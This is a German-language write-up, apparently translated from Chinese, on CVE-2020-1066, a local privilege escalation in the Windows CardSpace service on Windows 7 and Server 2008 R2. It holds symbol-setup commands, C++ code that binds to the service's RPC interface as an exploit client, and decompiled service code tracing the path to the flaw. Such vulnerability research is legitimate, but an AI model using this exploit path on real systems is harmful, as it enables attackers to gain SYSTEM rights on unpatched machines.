
Lokaler Privilege-Escalation-Exploit für CVE-2020-1066, der Windows 7 und Server 2008 R2 angreift. Nutzt beliebigen Dateiersatz über den Windows-CardSpace-Dienst (idsvc) durch Missbrauch symbolischer Verknüpfungen, um Codeausführung auf SYSTEM-Ebene zu erreichen.
Diese Schwachstelle ist eine lokale Rechteausweitung durch beliebigen Dateiaustausch, die dadurch verursacht wird, dass der Windows CardSpace-Dienst Symlink-Objekte nicht ordnungsgemäß behandelt.
Der Autor stellt den PoC ausschließlich zu Forschungszwecken bereit. Wenn Leser diesen PoC für andere Zwecke verwenden, ist der Autor nicht daran beteiligt.
[toc]
Gilt für normale Benutzer von Windows 7 und Windows Server 2008 R2 sowie für IIS-Benutzer mit spezieller Konfiguration.
Der Autor ist der Einsender der Schwachstelle; das Update erfolgte im Mai 2020. Die Schwachstelle stammt vom Windows CardSpace-Dienst (idsvc) unter Windows 7 und Windows Server 2008 R2. Dieser Dienst kann von jedem Benutzer gestartet werden, läuft selbst mit System-Berechtigungen und stellt einen öffentlichen RPC-Aufruf bereit. Wenn der Dienst durch Benutzeraktion eine bestimmte Konfigurationsdatei im Verzeichnis der aktuellen Benutzervariablen %APPDATA% verschiebt, werden Symlink-Objekte nicht ordnungsgemäß behandelt, was zu einer lokalen Rechteausweitung durch beliebigen Dateiaustausch führt. Dies ist die Ursache der Schwachstelle. Da für die Nutzung ein RPC-Aufruf erforderlich ist, muss zunächst die Schnittstelle MIDL des Dienstes bezogen werden, um lokalen Code für die Interaktion schreiben zu können. Der Autor empfiehlt das RpcView-Tool; die konkrete Methode kann in der Artikelserie zur RPC-Schwachstellenforschung nachgelesen werden. Verwenden Sie zunächst die folgende Methode, um die Symboldateien abzurufen und die Symbole im Tool zu konfigurieren. Danach kann die IDL-Datei der RPC-Schnittstelle dekompiliert werden. Die konkrete Methode ist wie folgt:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

Mit dem Tool erhält man daraus die 3 wichtigen Daten: den Typ des Rpc-Protokolls, den Protokollnamen und die Client-Definitionsdatei der Protokollschnittstelle (die durch Kompilieren der IDL-Datei erzeugte .c-Datei, siehe links das Textfeld „Decompilation“). Auf diese Weise kann der Rpc-Dienst mit der folgenden Methode gebunden werden.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
Durch das Dekompilieren des idsvc-Dienstcodes erhält man das konkrete Projekt (siehe zugehörige Projekte). Der idsvc-Dienst bindet den globalen Handler RequestFactory.ProcessNewRequest der globalen RPC-Schnittstelle; für den ersten Aufruf, also wenn parentRequestHandle gleich 0 ist, wird die Klasse CreateClientRequestInstance aufgerufen, um den Rückruf zu verarbeiten; die nachfolgenden Vorgänge werden von der Klasse CreateUIAgentRequestInstance verarbeitet``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
Der idsvc-Dienst reflektiert anhand des Klassennamens im Feld RpcRequest->Type die entsprechende Klasse, um den Callback zu verarbeiten; hier verwendet der PoC die Klasse "ManageRequest";```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
Die DoProcessRequest-Funktion der ManageRequest-Instanz wird ausgelöst, um die Anfrage zu verarbeiten. Zwischenschritte werden übersprungen, und schließlich wird StoreConnection.CreateDefaultDataSources() aufgerufen, was zum Ausnutzungspunkt führt.